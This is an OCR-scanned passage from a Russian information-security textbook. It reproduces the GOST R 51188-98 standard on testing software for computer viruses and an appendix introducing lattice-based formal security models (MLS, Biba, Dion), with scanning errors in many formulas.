вменяемое физическое лицо, достигшее 16-летнего возраста. Закон не требует, чтобы это лицо занимало определенную должность, осуществляло определенную деятельность, получило определенное образование. 117
Приложение 2. ГОСТ Р 51188-98 Испытания программных средств на наличие компьютерных вирусов Типовое руководство 1 Область применения 1 1 Настоящий стандарт распространяется на испытания программ- ных средств (ПС) и их компонентов, цели которых — обнаружить в этих ПС и устранить из них компьютерные вирусы (КВ) силами специальных пред- приятий (подразделений), и устанавливает общие требования к opi аниза- нии и проведению таких испытаний. 1.2. Требования, установленные настоящим стандартом, направлены на обеспечение специальной обработки ПС в целях выявления КВ, а также на устранение последствий, вызванных возможными воздействиями КВ на операционные системы, системные и пользовательские файлы с програм- мами и данными, начальные секторы магнитных дисков, таблицы разме- щения файлов и др. 1.3. Настоящий стандарт устанавливает типовые требования, предъ- являемые к испытаниям ПС на наличие КВ, в том числе: • к составу мероприятий по подготовке и проведению испытаний; • к составу, структуре и назначению основных частей программно- аппаратного стенда, обеспечивающего проведение испытаний; • к выбору и использованию методов проведения испытаний; • к тестовым (антивирусным) программам, обнаруживающим и уничтожающим КВ; • к составу и содержанию документации, фиксирующей порядок проведения испытаний и их результаты. 1.4. Настоящий стандарт предназначен для применения в испыта- тельных лабораториях, проводящих сертификационные испытания ПС на выполнение требований защиты информации. 2. Нормативные ссылки В настоящем стандарте использована ссылка на следующий стан- дарт: • ГОСТ 19.301-79 (СТ СЭВ 3747-82) ЕСПД. Программа и методика испытаний. Требования к содержанию и оформлению. 3 Определения и сокращения В настоящем стандарте применены следующие термины с соответст- вующими определениями: Защита программных средств - организационные, правовые, техни- ческие и технологические меры, направленные на предотвращение воз- 118
можных несанкционированных действий по отношению к программным средствам и устранение последствий этих действий. Сертификация — действия третьей стороны, цель которых - под- твердить (с помощью сертификата соответствия) то, что изделие (в том числе программное средство) или услуга соответствует определенным стандартам нли другим нормативным документам. Профилактика - систематические действия эксплуатационного пер- сонала, цель которых - выявить и устранить неблагоприятные изменения в свойствах и характеристиках используемых программных средств, в част- ности проверить эксплуатируемые, хранимые и (или) вновь полученные программные средства на наличие компьютерных вирусов. Ревизия - проверка вновь полученных программ специальными средствами, проводимая путем их запуска в контролируемой среде. Несанкционированный доступ к про, раммным средствам - доступ к программам, записанным в памяти ЭВМ или на машинном носителе, а также отраженным в документации на этн программы, осуществленный с нарушением установленных правил. Вакцинирование — обработка файлов, дисков, каталогов, проводимая с применением специальных программ, создающих условия, подобные тем, которые создаются определенным компьютерным вирусом, и затруд- няющих повторное его появление Компьютерный вирус — программа, способная создавать свои копии (необязательно совпадающие с оригиналом) и внедрять их в файлы, сис- темные области компьютера, компьютерных сетей, а также осуществлять иные деструктивные действия. При этом копни сохраняют способность дальнейшего распространения Компьютерный вирус относится к вредо- носным программам В настоящем стандарте приняты следующие сокращения: ПС - программные средства; КВ компьютерные вирусы; ПЭВМ - персональная электронно-вычислительная машина (персо- нальный компьютер); ЭВМ - электронно-вычислительная машина. 4. Порядок проведения испытаний программных средств на наличие компьютерных вирусов 4.1. Испытания ПС на наличие КВ следует проводить на специально оборудованном программно-аппаратном испытательном стенде, в составе которого должны быть необходимые технические и программные средст- ва, в том числе антивирусные программы. 4.2. Предприятие [подразделение (далее - организация)], проводящее проверку НС на наличие КВ, должно поддерживать испытательный стенд Н9
в работоспособном состоянии и не допускать проникновения КВ в про- граммы и данные до начала проведения испытаний. 4,3. Организация, проводящая проверку ПС на наличие КП, должна определить и зафиксировать в программе испытаний цель и объем испыта- ний, а также свои обязательства, касающиеся мер защиты проверяемых ПС от их заражения КВ с учетом требований 1 OCT 19.301. 4.4. Меры по защите проверяемых ПС от заражения КВ могут вклю- чать в себя: • разработку и выполнение комплекса мероприятий по профилакти- ке, ревизии и вакцинированию используемых ПС; • подготовку должностных лиц, отвечающих за проведение испыта- ний ПС; • разработку и выбор способов применения программно- технических средств для обнаружения КВ в ПС; • взаимодействие организаций, заказывающих и проводящих испы- тания ПС; • контроль за проведением испытаний ПС; • оценку эффективности применяемых антивирусных средств; • совершенствование системы мероприятий по защите ПС от КВ на основе современных достижений информационной технологии; • установление административной ответственности должностных лиц за выполнение требований зашиты ПС от КВ; • назначение ответственных должностных лиц и определение их полномочий, относящихся к организации и проведению мероприятий по защите ПС от КВ. 4.5. Организация, выполняющая проверку ПС па наличие КВ, долж- на обеспечить весь процесс проверки необходимыми вычислительными техническими и программными средствами, а также назначить специально обученных сотрудников для проведения испы ганий. 4.6. Организация, выполняющая проверку ПС на наличие КВ, долж- на назначить постоянного представителя, который получает определенные полномочия и несет постоянную ответственность за выполнение требова- ний, установленных настоящим стандартом. 4.7. В состав технических средств испытательного стенда должны входить: • совместимые ПЭВМ • необходимые элементы телекоммуникационных сетей; • канаты связи. 4 8. Конкретный набор технических компонентов испытательного стенда должен быть таким, чтобы были обеспечены условия воспроизве- дения всех необходимых внешних воздействий на ПС в процессе проведе- ния испытаний. I ’О
Перед началом испытаний состав технических средств, используе- мых для проведения проверок ПС на наличие КВ, должен быть согласован с организацией, заказывающей эти проверки. При этом согласование должно быть оформлено соответствующим актом. 4.9. Наряду с компонентами, указанными в 4.7, в состав испытатель- ного стенда могут входить соответствующие аппаратные антивирусные средства. К ним относятся: • компьютеры специальной конструкции, благодаря которой не- санкционированный доступ к данным и заражение файлов КВ могут быть существенно затруднены; • специальные платы, подключаемые к одному из разъемов ПЭВМ и выполняющие те или иные функции защиты информации; • электронные ключи защиты информации, главным достоинством которых является их многофункциональность. 4.10. Состав и функциональное назначение программных средств испытательного стенда определяются системой защиты, применяемой при проведении испытаний ПС на наличие КВ. 4 11. Программные средства, входящие в состав испытательного стенда, должны обеспечивать: • регулярное ведение архивов измененных файлов; • контрольную проверку соответствия длины и значения контроль- ных сумм, указываемых в сертификате и полученных программах; • систематическое обнуление первых трех байтов сектора начальной загрузки на полученных несистемных дискетах; • другие виды контроля целостности программ перед считыванием с дискеты; • проверку программ на наличие известных видов КВ; • обнаружение попыток несанкционированного доступа к испыта- тельным (инструментальным) и (или) испытуемым программам и данным; • вакцинирование файлов, дисков, каталогов с использованием ре- зидентных программ-вакцин, создающих при функционировании условия для обнаружения КВ данного вида; • автоконтроль целостности программ перед их запуском; • удаление обнаруженного КВ из зараженных программ или данных и восстановление их первоначального состояния 4.12 . Состав программных средств, используемых при проведении испытаний по просьбе заказчика, должен быть документально оформлен в «хмветствии с требованиями заказчика. 4.13 . Сроки проведения испытаний должны быть установлены в про- грамме и методике испытаний ио договоренности между заказчиком и ор- ганизацией, проводящей испытания. 4.14 Проверяемые ПС должны быть переданы для испытаний на ма1 пигных носителях (дискеiах) вместе с документацией. 121
4 15. Состав работ по подготовке и проведению испытаний ПС на наличие КВ в общем случае следующий. • ознакомление с документацией на ПС; • выбор методов проверки ПС на наличие КВ; • определение конфигурации программных и аппаратных средств испытательного стенда; • подготовка программно-аппаратного испытательного стенда к проведению испытаний; • организация и проведение испытаний: • оформление протокола проверки ПС и его передача в орган по сертификации в соответствии с 6.2 настоящего стандарта; • передача заказчику проверенных ПС на магнитных носителях (дискетах); • установление по согласованию с заказчиком правил (порядка) га- рантийного сопровождения проверенных ПС. 4.16. Проверка ПС на наличие КВ в общем случае включает в себя: • поиск вирусоподобных фрагментов кодов ПС; • моделирование ситуаций, предположительно способных вызвать активизацию КВ; • анализ особенностей взаимодействия компонентов ПС с окру- жающей операционной средой; • отражение результатов проверки в соответствующей документа- ции. 5. Методы проведения испытаний программных средств на наличие компьютерных вирусов 5.1. При испытаниях ПС па наличие КВ используют две основные группы методов обнаружения КВ и защиты программ от ннх: программ- ные и аппаратно-программные. К программным методам относятся: • сканирование; „ • обнаружение изменений; • эвристический анализ; • резидентные "сторожа"; • вакцинирование ПС. Аппаратно-программные методы основаны на реализации любого (любых) из указанных выше программных методов защиты ПС от КВ с помощью специальных технических устройств. 5.2. При выборе методов испытаний и зашиты ПС от КВ следует ру- ководствоваться сведениями о сущности каждого из них, приведенными в 5.4-5.9, а также дополнительными леденениями об их возможностях, дос- тоинствах и недостатках, приведенными в приложении А. 122
5.3. В конкретных испытаниях могут быть использованы способы и средства обнаружения КВ, реализующие один из методов, указанных н 5.1, или их комбинации. 5.4. Метод сканирования заключается в том что специальная анти- вирусная программа, называемая сканером, последовательно просматрива- ет проверяемые файлы в поиске так называемых "сигнатур" известных КВ. При этом под сигнатурой понимают уникальную последовательность бай- тов, принадлежащую конкретному известному КВ и не встречающуюся в других программах. 5.5. Метод обнаружения изменений заключается в том, что антиви- русная программа предварительно запоминает характеристики всех облас- тей диска, которые могут подвергаться нападению КВ, а затем периодиче- ски проверяет их. Если изменение этих характеристик будет обнаружено, то такая программа сообщит пользователю, что, возможно, в компьютер попал КВ Антивирусные программы, основанные на обнаружении изменений программной среды, называются ревизорами 5.6. Метод эвристического анализа реализуется с помощью антиви- русных программ, которые проверяю! остальные программы и загрузоч- ные секторы дисков и дискет, пытаясь обнаружить в них код, характерный для КВ Так, например, эвристический анализатор может обнаружить, что в проверяемой программе присутствует код, устанавливающий резидент- ный модуль в памяти. 5.7 В методе резидентных сторожей используются антивирусные программы, которые постоянно находятся в оперативной памяти компью- тера и отслеживают все подозрительные действия, выполняемые другими программами Резидентный сторож сообщит пользователю о том, что ка- кая-либо программа пытается изменить загрузочный сектор жесткого дис- ка или дискеты, а также выполнимый файл. 5.8 Вакцинирование устанавливает способ защиты любой конкрет- ной программы от КВ, при котором к этой программе присоединяется спе- циальный модуль контроля, следящий за ее целостностью. При этом проверяются контрольная сумма прстраммы или какие- либо другие се характеристики. Если КВ заражает вакцинированный файл, модуль контроля обнаруживает изменение контрольной суммы файла и сообщает об этом пользователю 5.9. Аппаратно-программные методы защиты ПС от КВ реализуются с помощью специализированного уст[юйства - контроллера, вставляемого в один нз разъемов расширения компьютера, и специального программно- го обеспечения, управляющего работой этого контроллера и реализующего один или несколько из программных методов, указанных выше. 12*
6 Требования к документации на испытания программных средств 6.1. Документация, оформляемая при подготовке и проведении ис- пытаний ПС на наличие КВ, должна содержать сведения, отражающие цель, объем, порядок проведения и результаты таких испытаний. 6.2. Выпуск документа вида "Протокол проверки программных средств на отсутствие компьютерных вирусов" является обязательным. Форму документа "Протокол проверки программных средств на отсутст- вие компьютерных вирусов" определяют в установленном порядке и пере- дают в орган по сертификации. 6.3. Другие виды документов, выпускаемых по результатам испыта- ний ПС на наличие КВ и дополнительные требования к их содержанию определяют по согласованию между организацией, выполняющей провер- ку ПС, и организацией, заказывающей эту проверку. 6.4. Документация, относящаяся к испытаниям ПС на наличие КВ, может быть представлена на магнитных носителях данных. Приложение Л (справочное). Пояснения о возможностях различных методов обнаружения и устранения компьютерных вирусов А.1. Сканирование является самым простым программным методом поиска КВ Антивирусные программы-сканеры могут гарантированно обнару- жить только уже известные КВ, которые были предварительно изучены и для которых была определена сигнатура. Программам-сканерам не обязательно хранить в себе сигнатуры всех известных КВ. Они могут, например, хранить только контрольные суммы сигнатур. Антивирусные программы-сканеры, которые могут удалить об- наруженные КВ, обычно называются полифагами. Для эффективного использования антивирусных программ, реали- зующих метод сканирования^необходимо постоянно обновлять их, полу- чая самые последние версии. А 2 Метод обнаружения изменений основан на использовании анти- вирусных программ-ревизоров, которые запоминают в специальных фай- лах образы главной загрузочной записи, загрузочных секторов логических дисков, параметры всех контролируемых файлов, а также информацию о структуре каталогов и номера плохих кластеров диска. Могут быть прове- рены и другие характеристики компьютера: объем установленной опера- тивной памяти, количество подключенных к компьютеру дисков и их па- раметры. Программы-ревизоры потенциально могут обнаружить любые КВ, даже те, которые ранее не были известны. Однако следует учитывать, что 124
не все изменения вызваны вторжением КВ. Так, загрузочная запись может измениться при обновлении версии операционной системы, а некоторые программы записывают изменяемые данные внутри своего выполнимого файла. Командные файлы изменяются еще чаще; так, например, файл AUTOEXEC.BAT обычно изменяется во время установки нового про- граммного обеспечения. Программы-ревизоры не помогут и в том случае, когда пользователь записывает в компьютер новый файл, зараженный КВ. При этом, если КВ заразит другие программы, уже учтенные ревизором, он будет обнаружен. Дополнительной возможностью программ-ревизоров является спо- собность восстановить измененные (зараженные) файлы и загрузочные секторы на основании запомненной ранее информации. Антивирусные программы ревизоры нельзя использовать для обна- ружения КВ в файлах документов, так как эти файлы постоянно изменя ются. Поэтому для контроля за данными файлами следует использовать программы-сканеры или эвристический анализ. А.З. Эвристический анализ позволяет обнаруживать ранее неизвест- ные КВ, причем для этого не надо предварительно собирать данные о фай- ловой системе, как требует метод обнаружения изменений. К основным недостаткам эвристического метода относятся следую- щие: • принципиально не могут быть обнаружены все КВ; • возможно появление некоторого количества ложных сигналов об обнаружении КВ в программах, использующих вирусоподобные техноло- гии (например, антивирусы). А 4 Большинство резидентных сторожей позволяет автоматически проверять все запускаемые программы на заражение известными КВ. Та- кая проверка будет занимать некоторое время, и процесс за!-рузки про- граммы замедлится, но зато пользователь будет уверен, что известные КВ не смогут активизироваться на его компьютере. Резидентные сторожа имеют очень много недостатков, которые де- лают этот класс программ малопригодным для использования. Многие программы, даже не содержащие КВ, могут выполнять действия, на кото- рые реагируют резидентные сторожа. Например, обычная команда LABEL изменяет данные в загрузочном секторе и вызывает срабатывание сторожа. Повтому работа пользователя будет постоянно прерываться раздражаю- щими сообщениями антивируса. Кроме того, пользователь должен будет каждый раз решать, вызвано лн это срабатывание компьютерным вирусом или нет. Как показывает практика, рано или поздно пользователь отключа- ет резидентный сторож И, наконец, еще один недостаток резидентных сторожей заключается в том, что они должны быть постоянно загружены в оперативную память и, следовательно, уменьшают объем памяти, доступ- ной другим программам. 125
A.5. Основными недостатками метода вакцинирования являются возможность обхода такой зашиты при использовании компьютерным ви- русом так называемой "стелс-технологии". а также необходимость измене- ния кода программ, из-за чего некоторые программы начинают работать некорректно или могут перестать работат ь. А.6. Аппаратно-программные методы представляют собой один из самых надежных способов зашиты 11С от заражения КВ. Благодаря тому, что контроллер такой защиты подключен к системной шине компьютера, он получает полный контроль над всеми обращениями к дисковой подсис- теме компьютера. Программное обеспечение аппаратной зашиты позволя- ет указать области файловой системы, которые нельзя изменять. Пользова- тель может защитить главную загрузочную запись, за1рузочные секторы, выполнимые файлы, файлы конфигурации и т.д. Если аппаратно- программный комплекс обнаружит, что какая-либо программа пытается нарушить установленную защиту, он может не только сообщить об этом пользователю, но и заблокировать дальнейшую работу компьютера. Аппаратный уровень контроля за дисковой подсистемой компьютера не позволяет КВ замаскировать себя Как только КВ проявит себя, он сразу будет обнаружен. При этом совершенно безразлично, как именно "работа- ет" КВ и какие средства он использует для доступа к дискам и дискетам. Аппаратно-программные средства защиты позволяют не только за- щитить компьютер от КВ, но также вовремя пресечь выполнение про- грамм, нацеленных на разрушение файловой системы компьютера. Кроме того, аппаратно-программные средства позволяют защитить компьютер от неквалифицированного пользователя, не давая ему удалить важную ин формацию, переформатировать диск изменить файлы конфшурации Недостатком аппаратно-программных методов является принципи- альная возможность пропустить КВ, ести они не пытаются изменять за- щищенные файлы и системные области. Информационные данные 1. Разработан и внесен 27 Центральным научно-исследовательским институтом Министерства обороны Российской Федерации (27 ЦНИИ МО РФ) и Научно-консультационным центром по созданию и применению информационных технологий (НКЦ "ЦНИИКА-СПИН"). 2. Принят и введен в действие Постановлением I осстандарта России № 295 от 14 июля 1998 г. 3 Введен впервые КЛЮЧЕВЫЕ СЛОВА: испытания программных средств, компью- терные вирусы, методы проведения испытаний программных средств, до- кументация на испытания пр<лраммпых средов. I 2ft
Приложение 3. Обзор некоторых формальных моделей безопасности 1 . Строгое математическое докгзательство того факта, что соблюде- ние политики безопасности обеспечивает невозможность движения вычис- лительной системы по недопустимым фазовым траекториям в пространст- ве доступов, производится в рамках некоторой модели системы Данное приложение содержит введение в целый ряд таких моделей, называемых формальными моделями безопасности 2 1[режде чем начать рассмотрение конкретных моделей безопасно- сти необходимо ввести некоторые вспомогательные понятия. Определение 113.1. Отношение порядка - бинарное отношение па некотором множестве А, обычно обозначаемое символом < и обладающее следующими тремя свойствами 1) а < а, где а 6 А (рефлексивность); 2) если а<Ь и Ь<с, то а<с, где а.Ь.се А (транзитивность); 3) если а<Ь и Ь<я,то а-b, где a.be А (антисимметричность) Определение П3.2. Отношение порядка, определенное на некото- ром множестве А, такое, что для любых a,he А либо а<Ь, либо h<a, называется отношением линейного порядка. Опре деление ПЗ.З. Линейно упорядоченное множество (или ли- нейная решетка, или цепь) множество, на котором задано отношение ли- нейного порядка. Определен ис [13.4. Отношение порядка, определенное на некото- ром множестве А, в котором допускаются и несравнимые между собой элементы, называется отношением частичного порядка. Определение П3.5. Частично упорядоченное множество - не- пустое множество, на котором задан некоторый частичный порядок. Пример П3.1. Рассмотрим множество из восьми элементов, i а ко- тором задано отношение частичного порядка (см рис. П3.1). Па рисунке вершины графа - по элементы множества, а ориентированные дуги - это отношение порядка. Отметим, что обычно граф отношения частичного порядка изобра- жается в несколько ином виде, в котором удалены все тривиальные эле- менты. Так, на графе, изображенном на рис. II3.I, видно, что, во-первых, каждая вершина имеет позлю, и во-вторых, для каждых трех вершин, идущих друг за другом в смысле наличия отношения порядка между пер- вой и второй, а также второй и третьей вершинами, есть дуга, изображаю- щая отношение порядка между первой вершиной и третьей. На рис. П3.2 все тривиальные Луги изображены полупрозрачным тоном Определение П3.6. Граф отношения частичного порядка, из ко- торого удалены все петли и тривналь ные ребра, называется базисным гра- фом соответствующего отношения. 127
Таким образом, яркая часть изображения на рис. П3.2 есть не что иное, как базисный граф отношения частичного порядка, изображенного на рис. П3.1. Рис. П3.1 Рис. П3.2 Определение П3.7 Пусть на множестве А задано отношение час- тичного порядка. Тогда для двухэлементного подмножества {«, fc} с А элемент с = sup {a, fc} называется точной верхней гранью, если 1) a<c,fc<c; 2) A)[a<e,fcSe^c<e]. Соответственно, для этого подмножества элемент d = inf{a, fc} называется точной ни пеней гранью, если 1) d <a,d <b\ 2) Ve(ee A)[e<« e<tr»}e<d]. Теорема П3.1 Пусть на множестве А задано отношение частичного порядка. Если точная верхняя грань двухэлементного подмножества мно- жества А существует, то она единственна. Соответственно, если для тако- го подмножества существует точная нижняя грань, то она также единст- венна. Доказательство. Предположим, что существуют две различные точные верхние грани с, и с2 двухэлементного подмножества {a,fc}cA. Тогда можно построить следующую цепочку рассуждений: 128
а<,с2,Ь<сг ] < Ve(ee A)[a<e,b<e^>c} <<?] j C| _c2 a < C|, b < c, Ve(ee A)[a<e,h<e=>c2<e] =>C2^C| Аналогичную цепочку рассуждений можно построить для точной нижней грани. Таким обраюм, теорема доказана. Определение ПЗ 8 Решетка ото частично упорядоченное мно- жество, в котором каждое двухэлементное подмножество имеет как точ- ную верхнюю, гак и точную нижнюю грани. Пример П3.2. На рис. ПЗ.З представлены примеры базисных гра- фов, определяющих решечки. Однако не всякий граф определяет релстку (см. рис ПЗ 4). Рис. ПЗ 4 1’9
Пример ПЗ.З. Совокупность всех подмножеств данного множества с определенным на этой совокупности отношением «с » образует решетку Действительно, если определить VA,6(A,BcX) А<В Аев Def то sup{A, В] = А о В, a inf {A, S} = А п В. В качестве примера на рис. ПЗ 5 приведен базисный граф решетки под- множеств множества {я. Ь, с}. Теорема П3.2. Если нахождение точных верхней и нижней граней двух- элементного подмножества некоторого частично упорядоченного множества трактовать как двуместные операции над элементами этого множества Рис. П3.5 sup{o,b} = a®b, inf{o,b} = a®£>. то эти операции ассоциативны для любых элементов решетки (flj ®a2)®e3 -at Ф(а2Фа3), (а, ®а2)®«3 =я, ® (а2 ®«3). Доказательство Пусть (а, Фа2)Фа3 = q и «, Ф (а2 Ф «3) = с2, тогда имеем (о1 Ф а2 ) Ф а3 = q => flj Ф а2 < q => a3<q ► я2 ф д3 < С[ => а, Ф(я2 Фа3) = с2 <q ах Ф (в2 Ф я3 ) = с2 => й2 Ф а3 5 с2 => а2<с2 «3 -с2 => Ф а2 < с 2 => (д| Ф а2 ) Ф fl3 = q < с2 130
Аналогичная цепочка рассуждений может быть построена для опе- рации нахождения точной нижней грани Теорема доказана. Определение П3.9. Пусть А - решетка, тогда для любого под- множества В ,Ьл}сА, можно определить точные верх нюю и нижнюю грани'. sup В = bj Ф /?2 ® - Ф bn, inf В - Ь1®Ь2® ...®Ьп Def Def Порядок выполнения операций в определении П3.9 в соответствии с теоремой П3.2 роли не играет. Существование supB и inf В следует из определения ПЗ 8 Единственность supB и inf В следует из теоремы П3.1. Определение ПЗ 10 Пусть А решетка, тогда элемент sup А на- зовем верхним элементом решетки, а элемент inf А - нижним элементом решетки Определение П3.11. Подрешеткой В решетки А назовем такое подмножество Вс А которое само по себе является решеткой для задан- ного на А отношения частичного порядка. Теорема ПЗ.З. Пусть А и В - решетки, тогда множество Ах В, на котором определен частичный порядок Vw|, а2 (Ц|» ^2 A) VB[, bj , ^2 ® ) (^1 > ^1) (п2, ^2 ) — ^2 — ^2 * L Def также является решеткой. Доказательство. Достаточно показать, что V<i|.a2 В) [ sup{(aI,B1),(fl2,b2)}=(siip{O1,a2},sup{bi,B2}). inf {(a,, b,), (a2, bz )} = (inf {a,. a2} inf {fcj, ] Пусть sup{aI,o2} = a3, sup{B1,B2} = B}. Тогда можно построить следующую цепочку выводов. 131
Gi fl- I . . , v , Г =>(яьМ)~(<|3'М ®2-®3j Ve(?e A)[ai <e,a9 <e=>a4 <el I , , , / /г J3=>V(e,/)((e,/)e AxB) [(«i• Ь) * (e- f )• («2Л) (e< f) => («3. b*)(*. f)] => sup{(fl1,^),(a2,B2)}=(fl3,feJ). Аналогично доказывается соотношение для нижних граней. Таким образом, теорема доказана. 3. Предварительно на примерах П3.4 и П3.5 рассмотрим понятие ре- шетки ценностей. Пример П3.4. Линейно упорядоченное множество грифов секрет- ности несекретно, секретно, совершенно секретно (см. рис П3.6) является простейшим примером такой решетки ценностей. Пример П3.5. Предположим, что в некотором государстве законо- дательно определены сущности, попадающие под грифы несекретно, секретно и совершенно секретно. В этом государстве действуют два независимых хозяйствующих субъекта Алиса и Боб которые, с точки зре- ния государства, занимаются несекретной деятельностью и доступа к сек- ретной информации не имеют Будем предполагать, что Алиса и Боб явля- ются законопослушными гражданами. В то же время и Алиса, и Боб, что- то скрывают и имеют, таким образом, каждый свое представление о сек- ретности. В результате при анализе системы государства и действующих в нем двух хозяйствующих субъектов - Алисы и Боба, приходится пользо- ваться решеткой ценностей, приведенной на рис П3.7. 4. Пусть X — множено объектов (и субъектов) системы, X -ре- шетка подмножеств множества X , SC решетка ценностей. Тогда в качестве основы для построения моделей ценности инфор- мации в системе может использоваться прямое произведение указанных решеток X х SC. Пусть, далее, определено отображение q: X —> SC. Рассмотрим следующую полрешезку решетки X х SC { (0, inf SC) }и { ({х}, q (х)):х 6 X X', sup q(x) igX' : X'e X*,|X'|>I 1’2
Эта подрешетка фактически определяет новое отображение с: X -+SC, расширяющее q на случай оценки не только отдельных объектов (и субъ- ектов), но и их совокупностей. Рис. 113 7 совершенно , , секретно секретно несекретно Рис П3.6 Пример П3.6. Пусть в некоторый сборник включены статьи, тема тика и гриф секретности которых следующие: «учебно-воспитательная ра- бота с личным составом» — несекретно «кадры»- секретно «крипто- графия» совершенно секретно Тогда сборнику будет присвоен гриф совершенно секретно В дальнейшем мы будем рассматривать две различные решетки цен- ностей — это решетка меток конфиденциальности SCL и решетка мегок целостности SJL Определение П3.12. Метка конфиденциальности (гриф секрет- ности) - признак, отличающий режим доступа к информации, содержа- щейся в данном объекте (субъекте), в смысле ознакомления с ней Определение ИЗ 13. Метка целостности признак, отличающий режим доступа к информации, содержащейся в данном объекте (субъекте), в смысле ее изменения. 5 Последовательно рассмотрим следующие формальные модели безопасности многоуровневую политику безопасности (политику MLS), политику целостности Биба и модель Диона. 133
Пусть М SxO -+{read write — функция, определяющая множе ство допустимых доступов субъекта из множества S к объекту из множе- ства О. Определение П3.14 В системе с двумя вилами доступа read и write многоуровневая политика безопасности MLS определяется следую- щими правилами read g М (5, о) с(о)<с^. Def write g M (s,o\ c(s)<c(o). De/ где с: X —» SCL. X = 5 О Определение П3.15. В системе с двумя видами доступа read и write политика целостности Биба определяется следующими правилами: read g М (s, о) <=> c(s)<c(o\. Def write g M (s, о) c(o)<c(s), где с: X —> SIL, X = S и О В модели Диона используются следующие шесть отображений мно- жества субъектов и объектов системы на решетки меток конфиденциаль- ности и целостности: саС1. % —>SCL, cRCL.X-*SCL. cwcl X —*SCL, сан/. X SIL, С ни. % ~• с WIL : X . При этом с каждым объектом системы о ассоциируется по три метки конфиденциальности и целостности: сАС1 (°) _ абсолютная метка конфиденциальности объекта - ха- рактеризует конфиденциальность информации, хранящейся в объекте; сна (°) ~ метка конфиденциальности чтения из объекта - мини- мальный уровень конфиденциальности, на который может мигрировать информация, содержащаяся в данном объекте; cwcl(°) ~ метка конфиденциальности записи в объект — макси- мальный уровень конфиденциальности, с которого информация может быть записана в объект; 134
CA1L (°) ~ абсолютная метка целостности объекта', ckil (°) “ метка целостности чтения из объекта - максимальный уровень целостности, на который может мигрировать информация, содер жашаяся в данном объекте; ~ метка целостности записи в объект минимальный уровень целостности, с которого информация может быть записана в дан- ный объект. Для каждого объекта о должны выполняться следующие соотноше- ния: cRCL (°) - cACL (°) - cWCL (°) И CWIL (° ) - CAU. (° ) - CRIL (°) • С каждым субъектом s 1 модели Диона также ассоциируются три метки конфиденциальности и три метки целостности: CACL (s) ~ абсолютная метка конфиденциачьности субъекта', cRCl(s) ~ метка конфиденциальности чтения — максимальный уровень конфиденциальности, с которого субъекту разрешено читать ин- формацию, с'и'сл(5) “ метка конфиденциальности записи - минимальный уро- вень конфиденциальности, на который данному субъекту разрешено запи сывать информацию; cail(.s) ~ абсолютная метка целостности субъекта', cril(s) ~ метка целостности чтения — минимальный уровень це- лостности, с которого субъекту разрешено читать информацию; cwil{s) ~ метка целостности записи — максимальный уровень це- лостности, на который субъекту разрешено записывать информацию. При этом для каждого субъекта s должны выполняться следующие соотношения CWCL (J) - CACL (J) - cRCL (s) и CRIL ( J) CAIL ) - CWIL (5) Доступ субъекта к объекту на чтение возможен при одновременном выполнении следующих условий. 1) Субъект имеет право считать информацию с уровня конфиденци- альности объекта: сАС1 (о) < cKCL (5) 135
2) Субъект при доступе на чтение не нарушает ограничения на верх- нюю границу конфиденциальности информации, которая может содер- жаться в объекте (может быть ранее записана в него) cWCL(o)<cRCL(s). 3) Уровень конфиденциальности субъекта не ниже нижней границы конфиденциальности, на которую может мигрировать информация, содер- жащаяся в объекте: cRCL (о)< cACL (s). 4) Информацию, считанную из объекта, субъект в дальнейшем не может записать на уровень конфиденциальности более низкий, нежели минимальный разрешенный уровень конфиденциальности для миграции из объекта: cRCL(o)<cWCL[s). 5) Уровень целостности субъекта не выше верхней границы целост- ности, на которую может мигрировать информация, содержащаяся в объ- еме: cail(s)^cril(o)- 6) Информацию, считанную и объекта, субъект в дальнейшем не может записать на уровень целостности более высокий, нежели макси малыю разрешенный уровень целостности для миграции из объекта 7) Субъект имеет право считать информацию с уровня целостности объекта: скп (s) < сАН (о). 8) Субъект при доступе на чтение нс нарушает ограничения на ниж- нюю границу целостности информации, которая может содержаться в объ екте (может быть ранее записана в него): cRIL (s) < cWIL (о). Из приведенных восьми условий четыре (1, 3, 5 и 7) являются триви- альными (см. рис. П3.8) и могут быть опущены. Рис. Г13.8 136
На рисунке тонкими сплошными стрелками изображены отношения «$», соответствующие нетривиальным условиям, а прерывистыми отношения, соответствующие условиям тривиальным Доступ субъекта к объекту на запись возможен при одновременном выполнении следующих условий. I) Уровень конфиденциальности субъекта не выше максимального уровня конфиденциальности, с которого информация может быть записана в объект cACL(s)^cWCL(o). 2) Субъект при доступе на запись не нарушает ограничения на верх- нюю границу конфиденциальности информации, которая может быть за- писана в объект: cRCL cWCL (о). 3) Субъект имеет право записать информацию на уровень конфиден- циальности объекта: cWCL(s)<cACL(o). 4) Информация, записанная субъектом в объект, в дальнейшем не может мигрировать на уровень конфиденциальности ниже минимального уровня, разрешенного субъекту для записи: CjvC/ (s)<cftCL(o). 5) Субъект имеет право записать информацию на уровень целостно- сти объекта: cAIL(o)£cWIL(s). 6) Информация, записанная субъектом в объект, в дальнейшем не может мигрировать на уровень целостности выше максимального уровня, разрешенного субъекту для записи cRll (о) < cwi/ (s). 7) Уровень целостности субъекта не ниже минимального уровня це- лостности, с которого информация может быть записана в объект; cwu 8) Субъект при доступе на запись не нарушает ограничения на ниж- нюю границу целостности информации, которая может быть записана в объект. Среди этих восьми условий четыре (I, 3, 5 и 7) также являются три- виальными (см. рис. П3.9) и также могут быть опушены. Исходя из сказанного, можно сформулировать следующее определе- ние Определение ПЗ !6. В системе с двумя видами доступа read и write модель безопасности Диона определяется следующими правилами: cwcl(°)-ckcl(s)' ntul-u{ ч CRCL °)^cWCl.{s)' read еМ (s o) <=> D‘f cWllAs)-cRIL(°)' cril(s)-cwil(°Y 137
write e M (s, о) <=> Def crcl(s)^cwcl(°)’ cWCL (5) - CRCL (°)> cruA°)-cwil(s)’ cwil(°)-cril(s)’ где <>ct: X —>SCL, cRCL. X -+SCL, cWCL : X -+SCL, cAtL X -+SIL, cKtL'. X -+SIL, cwil'. X —*S1L, X^SuO, такие, что Vo(oeO) [qcl(°)-c^cl(0)-civcl(°)> cwil(°)-cail(°)-cril(°)] и Vs(je 5) [n'ci(J)-cACZ.(J)ScM.’L(i)« crh.(s)~ca//.(j)-cw«.(5)]- Рис. П3.9 6. Для исследования разрушающих программных воздействий в рам- ках описанных формальных моделей безопасности двух доступов read и write явно недостаточно. В связи с этим рассмотрим способы расширения этих моделей за счет введения досгуна execute Будем рассматривать последовательность изменения во времени множества субъектов системы {S’,}, а также функцию М, S, хО—> 138
